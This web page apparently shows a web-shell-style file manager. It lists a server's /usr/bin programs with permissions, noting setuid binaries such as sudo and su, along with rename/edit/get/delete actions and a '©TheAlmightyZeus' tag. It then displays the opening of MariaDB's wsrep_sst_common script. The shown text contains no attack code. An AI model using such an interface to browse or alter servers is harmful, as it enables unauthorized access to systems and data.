shuf 58.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sieve 31.891 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
skill 30.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
slabtop 22.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
sleep 42.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
slogin 778.789 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
snice 30.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
socat 397.93 KB -rwxr-xr-x 2021-02-03 12:58 R E G D
soelim 46.352 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
sort 115.633 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
splain 18.956 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
split 59.469 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
ss 177.063 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
ssh 778.789 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-add 366.125 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-agent 346.133 KB -rwxr-sr-x 2025-05-08 11:03 R E G D
ssh-argv0 1.421 KB -rwxr-xr-x 2025-04-29 13:14 R E G D
ssh-copy-id 10.693 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-keygen 474.195 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-keyscan 458.227 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
stat 83.188 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
stdbuf 50.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
streamzip 5.392 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
stty 82.938 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
su 70.227 KB -rwsr-xr-x 2024-03-28 10:09 R E G D
sudo 178.32 KB -rwsr-xr-x 2025-06-26 17:03 R E G D
sudoedit 178.32 KB -rwsr-xr-x 2025-06-26 17:03 R E G D
sudoreplay 115.391 KB -rwxr-xr-x 2025-06-26 17:03 R E G D
sum 46.883 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sync 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
systemctl 1.02 MB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd 1.66 MB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-analyze 1.62 MB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-ask-password 14.328 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-cat 14.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-cgls 18.32 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-cgtop 34.234 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-delta 26.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-detect-virt 14.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-escape 18.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-hwdb 110.516 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-id128 22.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-inhibit 22.234 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-machine-id-setup 22.313 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-mount 50.438 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-notify 18.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-path 18.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-resolve 126.367 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-run 54.414 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-socket-activate 26.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-stdio-bridge 18.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-sysusers 54.523 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-tmpfiles 86.414 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-tty-ask-password-agent 30.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-umount 50.438 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
tabs 18.148 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
tac 106.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tail 75.063 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tar 519.461 KB -rwxr-xr-x 2024-01-20 09:59 R E G D
taskset 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
tbl 142.352 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
tcpdump 1.2 MB -rwxr-xr-x 2022-05-22 16:22 R E G D
tee 42.875 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tempfile 14.117 KB -rwxr-xr-x 2020-09-27 17:25 R E G D
test 54.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tic 90.266 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
timedatectl 42.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
timeout 43.406 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tload 14.234 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
toe 22.148 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
top 122.07 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
touch 99.031 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tput 26.18 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
tr 54.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
traceproto 2.817 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceproto.db 2.817 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute-nanog 1.58 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute.db 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute6 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute6.db 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
tree 79.602 KB -rwxr-xr-x 2019-08-06 19:31 R E G D
troff 751.75 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
true 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
truncate 42.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tset 30.156 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
tsort 54.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tty 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tzselect 14.993 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
ubuntu-cloudimg-query 8.383 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
ucf 40.908 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
ucfq 18.913 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
ucfr 10.468 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
udevadm 1021.094 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
ul 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
umount 34.219 KB -rwsr-xr-x 2024-03-28 10:09 R E G D
uname 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
unattended-upgrade 97.214 KB -rwxr-xr-x 2021-02-19 12:11 R E G D
unattended-upgrades 97.214 KB -rwxr-xr-x 2021-02-19 12:11 R E G D
uncompress 2.291 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
unexpand 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
uniq 50.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
unlink 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
unlzma 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
unmkinitramfs 3.59 KB -rwxr-xr-x 2021-01-14 18:04 R E G D
unshare 46.461 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
unxz 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
update-alternatives 58.086 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
update-mime-database 59.188 KB -rwxr-xr-x 2020-10-09 17:26 R E G D
uptime 14.219 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
users 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
utmpdump 30.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
uuidgen 14.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
uuidparse 38.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
vcs-run 6.75 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
vdir 143.727 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
vi 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
view 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vim 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vim.basic 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vim.tiny 1.34 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vimdiff 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vimtutor 2.071 KB -rwxr-xr-x 2025-03-30 03:33 R E G D
vmstat 38.242 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
w 22.219 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
wall 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
watch 26.602 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
watchgnupg 18.148 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
wc 46.945 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
wdctl 62.25 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
wget 527.281 KB -rwxr-xr-x 2025-04-20 10:39 R E G D
whatis 51.203 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
whereis 30.664 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
which 0.924 KB -rwxr-xr-x 2020-09-27 17:25 R E G D
whiptail 26.703 KB -rwxr-xr-x 2020-12-08 01:18 R E G D
who 58.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
whoami 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
write 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
write-mime-multipart 3.514 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
write.ul 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
wsrep_sst_backup 2.394 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_common 66.822 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_mariabackup 49.47 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_mysqldump 8.088 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_rsync 29.723 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_rsync_wan 29.723 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
x86_64 26.5 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
xargs 74.367 KB -rwxr-xr-x 2021-01-09 17:36 R E G D
xsubpp 5.043 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
xxd 18.117 KB -rwxr-xr-x 2025-03-30 03:33 R E G D
xz 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzcat 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzcmp 6.858 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzdiff 6.858 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzegrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzfgrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzgrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzless 1.757 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzmore 2.111 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
yes 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
ypdomainname 22.07 KB -rwxr-xr-x 2019-11-07 11:31 R E G D
zcat 1.938 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zcmp 1.639 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zdiff 5.76 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zdump 22.398 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
zegrep 0.028 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zfgrep 0.028 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zforce 2.032 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zgrep 7.86 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zipdetails 50.038 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
zless 2.154 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zmore 1.799 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
znew 4.47 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
REQUEST EXIT
©TheAlmightyZeus
# Copyright (C) 2017-2024 MariaDB # Copyright (C) 2012-2015 Codership Oy # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 2 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; see the file COPYING. If not, write to the # Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston # MA 02110-1335 USA. # This is a common command line parser and common functions to # be sourced by other SST scripts. trap 'exit 32' HUP PIPE trap 'exit 3' INT QUIT TERM OS="$(uname)" # Setting the paths for some utilities on CentOS export PATH="${PATH:+$PATH:}/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin" if [ "$OS" != 'Darwin' ]; then export LD_LIBRARY_PATH="${LD_LIBRARY_PATH:+$LD_LIBRARY_PATH:}/usr/local/lib:/usr/lib:/lib:/opt/lib" fi commandex() { if [ -n "$BASH_VERSION" ]; then command -v "$1" || : elif [ -x "$1" ]; then echo "$1" else which "$1" || : fi } with_bash_42=0 with_printf=1 if [ -z "$BASH_VERSION" ]; then [ -z "$(commandex printf)" ] && with_printf=0 else [ "${BASH_VERSINFO[0]}" -eq 4 -a "${BASH_VERSINFO[1]}" -ge 2 -o \ "${BASH_VERSINFO[0]}" -gt 4 ] && with_bash_42=1 fi wsrep_log() { local t # echo everything to stderr so that it gets into common error log # deliberately made to look different from the rest of the log if [ "$OS" = 'Linux' ]; then t=$(date '+%Y%m%d %H:%M:%S.%3N') elif [ $with_bash_42 -ne 0 ]; then printf -v t '%(%Y%m%d %H:%M:%S)T.000' else t=$(date '+%Y%m%d %H:%M:%S.000') fi echo "WSREP_SST: $* ($t)" >&2 } wsrep_log_error() { wsrep_log "[ERROR] $*" } wsrep_log_warning() { wsrep_log "[WARNING] $*" } wsrep_log_info() { wsrep_log "[INFO] $*" } trim_string() { if [ -n "$BASH_VERSION" ]; then local pattern="[![:space:]${2:-}]" local x="${1#*$pattern}" local z=${#1} x=${#x} if [ $x -ne $z ]; then local y="${1%$pattern*}" y=${#y} x=$(( z-x-1 )) y=$(( y-x+1 )) echo "${1:$x:$y}" else echo '' fi else local pattern="[[:space:]${2:-}]" echo "$1" | sed -E "s/^$pattern+|$pattern+\$//g" fi } trim_dir() { if [ -n "$BASH_VERSION" ]; then local pattern="![:space:]${2:-}" local x="${1#*[$pattern]}" local z=${#1} x=${#x} if [ $x -ne $z ]; then local y="${1%[$pattern/]*}" y=${#y} x=$(( z-x-1 )) y=$(( y-x+1 )) x="${1:$x:$y}" [ -z "$x" ] && x='.' echo "$x" else echo '' fi else local pattern="[:space:]${2:-}" local x=$(echo "$1" | sed -E "s/^[$pattern]+|[$pattern/]+\$//g") if [ -n "$x" ]; then echo "$x" elif "${1#*/}" != "$1"; then echo '.' else echo '' fi fi } trim_right() { if [ -n "$BASH_VERSION" ]; then local pattern="[![:space:]${2:-}]" local z=${#1} local y="${1%$pattern*}" y=${#y} if [ $y -ne $z ]; then y=$(( y+1 )) echo "${1:0:$y}" else echo '' fi else local pattern="[[:space:]${2:-}]" echo "$1" | sed -E "s/$pattern+\$//g" fi } trim_left() { if [ -n "$BASH_VERSION" ]; then local pattern="[![:space:]${2:-}]" local x="${1#*$pattern}" local z=${#1} x=${#x} if [ $x -ne $z ]; then x=$(( z-x-1 )) echo "${1:$x:$z}" else echo '' fi else local pattern="[[:space:]${2:-}]" echo "$1" | sed -E "s/^$pattern+//g" fi } to_minuses() { local x="$1" local t="${1#*_}" local r="" while [ "$t" != "$x" ]; do r="$r${x%%_*}-" x="$t" t="${t#*_}" done echo "$r$x" } WSREP_SST_OPT_BYPASS=0 WSREP_SST_OPT_PROGRESS=0 WSREP_SST_OPT_BINLOG="" WSREP_SST_OPT_BINLOG_INDEX="" WSREP_SST_OPT_LOG_BASENAME="" WSREP_SST_OPT_DATA="" WSREP_SST_OPT_AUTH="${WSREP_SST_OPT_AUTH:-}" WSREP_SST_OPT_USER="${WSREP_SST_OPT_USER:-}" WSREP_SST_OPT_PSWD="${WSREP_SST_OPT_PSWD:-}" WSREP_SST_OPT_DEFAULT="" WSREP_SST_OPT_DEFAULTS="" WSREP_SST_OPT_EXTRA_DEFAULT="" WSREP_SST_OPT_EXTRA_DEFAULTS="" WSREP_SST_OPT_SUFFIX_DEFAULT="" WSREP_SST_OPT_SUFFIX_VALUE="" WSREP_SST_OPT_MYSQLD="" WSREP_SST_OPT_PORT="" WSREP_SST_OPT_ADDR="" WSREP_SST_OPT_ADDR_PORT="" WSREP_SST_OPT_HOST="" WSREP_SST_OPT_HOST_UNESCAPED="" ARIA_LOG_DIR="" INNODB_DATA_HOME_DIR=$(trim_dir "${INNODB_DATA_HOME_DIR:-}") INNODB_LOG_GROUP_HOME=$(trim_dir "${INNODB_LOG_GROUP_HOME:-}") INNODB_UNDO_DIR=$(trim_dir "${INNODB_UNDO_DIR:-}") INNODB_BUFFER_POOL="" INNODB_BUFFER_POOL_SIZE="" INNODB_FORCE_RECOVERY="" INNOEXTRA="" while [ $# -gt 0 ]; do case "$1" in '--address') WSREP_SST_OPT_ADDR=$(trim_string "$2") # # Break address string into host:port/path parts # case "$WSREP_SST_OPT_ADDR" in \[*) # IPv6 # Remove the starting and ending square brackets, if present: addr="${WSREP_SST_OPT_ADDR#\[}" addr=$(trim_right "${addr%%\]*}") # Some utilities and subsequent code require an address # without square brackets: readonly WSREP_SST_OPT_HOST_UNESCAPED="$addr" # Square brackets are needed in most cases: readonly WSREP_SST_OPT_HOST="[$addr]" # Mark this address as IPv6: readonly WSREP_SST_OPT_HOST_IPv6=1 # Let's remove the leading part that contains the host address: remain="${WSREP_SST_OPT_ADDR#*\]}" ;; *) addr=$(trim_right "${WSREP_SST_OPT_ADDR%%[:/]*}") readonly WSREP_SST_OPT_HOST="$addr" readonly WSREP_SST_OPT_HOST_UNESCAPED="$addr" readonly WSREP_SST_OPT_HOST_IPv6=0 # Let's remove the leading part that contains the host address: remain="${WSREP_SST_OPT_ADDR#*[:/]}" ;; esac # If there is nothing but the address, then the remainder is empty: [ "$remain" = "$WSREP_SST_OPT_ADDR" ] && remain="" # Let's remove the ":" character that separates the port number # from the hostname: remain="${remain#:}" # Extract the port number from the address - all characters # up to "/" (if present): WSREP_SST_OPT_ADDR_PORT="${remain%%/*}" # If the "/" character is present, then the path is not empty: if [ "$WSREP_SST_OPT_ADDR_PORT" != "$remain" ]; then # This operation removes everything up to the "/" character, # effectively removing the port number from the string: readonly WSREP_SST_OPT_PATH="${remain#*/}" else readonly WSREP_SST_OPT_PATH="" fi WSREP_SST_OPT_ADDR_PORT=$(trim_right "$WSREP_SST_OPT_ADDR_PORT") # Remove the module name part from the string, which ends with "/": remain="${WSREP_SST_OPT_PATH#*/}" # This operation removes the tail after the very first occurrence # of the "/" character, inclusively: readonly WSREP_SST_OPT_MODULE=$(trim_right "${WSREP_SST_OPT_PATH%%/*}") # If there is one more "/" in the string, then everything before # it will be the LSN, otherwise the LSN is empty: if [ "$remain" != "$WSREP_SST_OPT_PATH" ]; then # Extract the part that matches the LSN by removing all # characters starting from the very first "/": readonly WSREP_SST_OPT_LSN=$(trim_right "${remain%%/*}") # Exctract everything after the first occurrence of # the "/" character in the string: source="$remain" remain="${remain#*/}" # If the remainder does not match the original string, # then there is something else (the version number in # our case): if [ "$remain" != "$source" ]; then # Let's extract the version number by removing the tail # after the very first occurence of the "/" character # (inclusively): readonly WSREP_SST_OPT_SST_VER=$(trim_right "${remain%%/*}") else readonly WSREP_SST_OPT_SST_VER="" fi else readonly WSREP_SST_OPT_LSN="" readonly WSREP_SST_OPT_SST_VER="" fi shift ;; '--bypass') readonly WSREP_SST_OPT_BYPASS=1 ;; '--progress') readonly WSREP_SST_OPT_PROGRESS=$(( $2 )) shift ;; '--datadir') # Let's remove the trailing slash: readonly WSREP_SST_OPT_DATA=$(trim_dir "$2") shift ;; '--aria-log-dir-path') # Let's remove the trailing slash: readonly ARIA_LOG_DIR=$(trim_dir "$2") shift ;; '--innodb-data-home-dir') # Let's remove the trailing slash: readonly INNODB_DATA_HOME_DIR=$(trim_dir "$2") shift ;; '--innodb-log-group-home-dir') # Let's remove the trailing slash: readonly INNODB_LOG_GROUP_HOME=$(trim_dir "$2") shift ;; '--innodb-undo-directory') # Let's remove the trailing slash: readonly INNODB_UNDO_DIR=$(trim_dir "$2") shift ;; '--innodb-buffer-pool-filename') readonly INNODB_BUFFER_POOL=$(trim_string "$2") shift ;; '--innodb-buffer-pool-size') readonly INNODB_BUFFER_POOL_SIZE=$(trim_string "$2") shift ;; '--defaults-file') file=$(trim_string "$2") readonly WSREP_SST_OPT_DEFAULT="$1=$file" readonly WSREP_SST_OPT_DEFAULTS="$1='$file'" shift ;; '--defaults-extra-file') file=$(trim_string "$2") readonly WSREP_SST_OPT_EXTRA_DEFAULT="$1=$file" readonly WSREP_SST_OPT_EXTRA_DEFAULTS="$1='$file'" shift ;; '--defaults-group-suffix') suffix=$(trim_string "$2") readonly WSREP_SST_OPT_SUFFIX_DEFAULT="$1=$suffix" readonly WSREP_SST_OPT_SUFFIX_VALUE="$suffix" shift ;; '--host') addr=$(trim_string "$2") case "$addr" in \[*) # IPv6 # Remove the starting and ending square brackets, if present: addr="${addr#\[}" addr=$(trim_right "${addr%%\]*}") # Some utilities and subsequent code require an address # without square brackets: readonly WSREP_SST_OPT_HOST_UNESCAPED="$addr" # Square brackets are needed in most cases: readonly WSREP_SST_OPT_HOST="[$addr]" # Mark this address as IPv6: readonly WSREP_SST_OPT_HOST_IPv6=1 ;; *) readonly WSREP_SST_OPT_HOST="$addr" readonly WSREP_SST_OPT_HOST_UNESCAPED="$addr" readonly WSREP_SST_OPT_HOST_IPv6=0 ;; esac WSREP_SST_OPT_ADDR="$addr" shift ;; '--local-port') readonly WSREP_SST_OPT_LPORT=$(( $2 )) shift ;; '--parent') readonly WSREP_SST_OPT_PARENT=$(( $2 )) shift ;; '--password') WSREP_SST_OPT_PSWD="$2" shift ;; '--port') readonly WSREP_SST_OPT_PORT=$(( $2 )) shift ;; '--role') readonly WSREP_SST_OPT_ROLE=$(trim_string "$2") shift ;; '--socket') readonly WSREP_SST_OPT_SOCKET=$(trim_string "$2") shift ;; '--user') WSREP_SST_OPT_USER="$2" shift ;; '--gtid') readonly WSREP_SST_OPT_GTID=$(trim_string "$2") shift ;; '--binlog'|'--log-bin') readonly WSREP_SST_OPT_BINLOG=$(trim_string "$2") shift ;; '--binlog-index'|'--log-bin-index') WSREP_SST_OPT_BINLOG_INDEX=$(trim_string "$2") shift ;; '--log-basename') readonly WSREP_SST_OPT_LOG_BASENAME=$(trim_string "$2") shift ;; '--gtid-domain-id') readonly WSREP_SST_OPT_GTID_DOMAIN_ID=$(trim_string "$2") shift ;; '--mysqld-args') original_cmd="" shift cmd_tail=0 while [ $# -gt 0 ]; do lname="${1#--}" # "--" is interpreted as the end of the list of options: if [ -z "$lname" ]; then shift if [ $# -gt 0 ]; then # copy "--" to the output string: original_cmd="$original_cmd --" # All other arguments must be copied unchanged: while [ $# -gt 0 ]; do original_cmd="$original_cmd '$1'" shift done fi break fi # Make sure the argument does not start with "--", otherwise it # is a long option, which is processed after this "if": if [ "$lname" = "$1" ]; then # Check if the argument is the short option or the short # options list, starting with "-": options="${1#-}" if [ "$options" != "$1" -a -n "$options" ]; then slist="" while [ -n "$options" ]; do # Let's separate the first character as the current # option name: if [ -n "$BASH_VERSION" ]; then option="${options:0:1}" elif [ $with_printf -ne 0 ]; then option=$(printf '%.1s' "$options") else # If it's not bash and without printf, # then we need to use slow external utilities: option=$(echo "$options" | cut -c1) fi # And the subsequent characters consider option value: value="" if [ ${#options} -gt 0 ]; then value="${options#?}" fi # Check for options without argument: if [ "$option" != '?' -a \ "$option" != 'a' -a \ "$option" != 's' -a \ "$option" != 'v' ] then # If the option value is absent, then check # the following argument: if [ -z "$value" -a $# -gt 1 ]; then # if the next argument does not start with # the "-" character, then next argument is # the current option value: if [ "${2#-}" = "$2" ]; then shift value="$1" elif [ "$2" = '--' ]; then shift if [ $# -gt 1 ]; then cmd_tail=1 shift value="$1" fi fi fi if [ "$option" = 'h' ]; then if [ -z "$WSREP_SST_OPT_DATA" ]; then MYSQLD_OPT_DATADIR=$(trim_dir "$value") fi elif [ "$option" != 'u' -a \ "$option" != 'P' ] then if [ $cmd_tail -ne 0 ]; then option="$option --" fi if [ -z "$value" ]; then slist="$slist$option" elif [ -z "$slist" ]; then slist="$option '$value'" else slist="$slist -$option '$value'" fi break fi if [ $cmd_tail -ne 0 ]; then if [ -n "$slist" ]; then slist="$slist --" else slist='-' fi fi break else slist="$slist$option" fi options="$value" done if [ -n "$slist" ]; then original_cmd="$original_cmd -$slist" fi elif [ -z "$options" ]; then # We found an minus sign without any characters after it: original_cmd="$original_cmd -" else # We found a value that does not start with a minus - # it is a positional argument or the value of previous # option. Copy it to output string (as is): original_cmd="$original_cmd '$1'" fi shift if [ $cmd_tail -ne 0 ]; then # All other arguments must be copied unchanged: while [ $# -gt 0 ]; do original_cmd="$original_cmd '$1'" shift done break fi continue fi # Now we are sure that we are working with an option # that has a "long" name, so remove all characters after # the first equal sign: option="${1%%=*}" # If the option name contains underscores, then replace # them to minuses: if [ "${option#*_}" != "$option" ]; then option=$(to_minuses "$option") fi # The "--loose-" prefix should not affect the recognition # of the option name: if [ "${option#--loose-}" != "$option" ]; then option="--${option#--loose-}" fi # Some options just need to be removed from the list: if [ "$option" != '--defaults-file' -a \ "$option" != '--defaults-extra-file' -a \ "$option" != '--defaults-group-suffix' -a \ "$option" != '--user' -a \ "$option" != '--port' -a \ "$option" != '--socket' ]; then value="${1#*=}" if [ "$value" = "$1" ]; then value="" fi # Let's fill in the variables containing important paths # that might not have been passed through explicit parameters # (+ removing the trailing slash in these paths). Many of these # options are processed internally within scripts or passed # explicitly to other programs, so we need to remove them # from mysqld's argument list: skip_mysqld_arg=0 case "$option" in '--aria-log-dir-path') if [ -z "$ARIA_LOG_DIR" ]; then MYSQLD_OPT_ARIA_LOG_DIR=$(trim_dir "$value") fi skip_mysqld_arg=1 ;; '--innodb-data-home-dir') if [ -z "$INNODB_DATA_HOME_DIR" ]; then MYSQLD_OPT_INNODB_DATA_HOME_DIR=$(trim_dir "$value") fi skip_mysqld_arg=1 ;; '--innodb-log-group-home-dir') if [ -z "$INNODB_LOG_GROUP_HOME" ]; then MYSQLD_OPT_INNODB_LOG_GROUP_HOME=$(trim_dir "$value") fi skip_mysqld_arg=1 ;; '--innodb-undo-directory') if [ -z "$INNODB_UNDO_DIR" ]; then MYSQLD_OPT_INNODB_UNDO_DIR=$(trim_dir "$value") fi skip_mysqld_arg=1 ;; '--innodb-buffer-pool-filename') if [ -z "$INNODB_BUFFER_POOL" ]; then MYSQLD_OPT_INNODB_BUFFER_POOL=$(trim_string "$value") fi skip_mysqld_arg=1 ;; '--innodb-buffer-pool-size') if [ -z "$INNODB_BUFFER_POOL_SIZE" ]; then MYSQLD_OPT_INNODB_BUFFER_POOL_SIZE=$(trim_string "$value") fi skip_mysqld_arg=1 ;; '--innodb-force-recovery') if [ -n "$value" -a "$value" != "0" ]; then INNODB_FORCE_RECOVERY=$(trim_string "$value") fi skip_mysqld_arg=1 ;; '--log-bin') if [ -z "$WSREP_SST_OPT_BINLOG" ]; then MYSQLD_OPT_LOG_BIN=$(trim_string "$value") fi skip_mysqld_arg=1 ;; '--log-bin-index') if [ -z "$WSREP_SST_OPT_BINLOG_INDEX" ]; then MYSQLD_OPT_LOG_BIN_INDEX=$(trim_string "$value") fi skip_mysqld_arg=1 ;; '--log-basename') if [ -z "$WSREP_SST_OPT_LOG_BASENAME" ]; then MYSQLD_OPT_LOG_BASENAME=$(trim_string "$value") fi skip_mysqld_arg=1 ;; '--datadir') if [ -z "$WSREP_SST_OPT_DATA" ]; then MYSQLD_OPT_DATADIR=$(trim_dir "$value") fi skip_mysqld_arg=1 ;; esac if [ $skip_mysqld_arg -eq 0 ]; then original_cmd="$original_cmd '$1'" fi fi shift done WSREP_SST_OPT_MYSQLD="${original_cmd# *}" break ;; *) # Must be command usage # exit 1 ;; esac shift done WSREP_TRANSFER_TYPE='SST' [ $WSREP_SST_OPT_BYPASS -ne 0 ] && readonly WSREP_TRANSFER_TYPE='IST' # Let's take the name of the current script as a base, # removing the directory, extension and "wsrep_sst_" prefix: 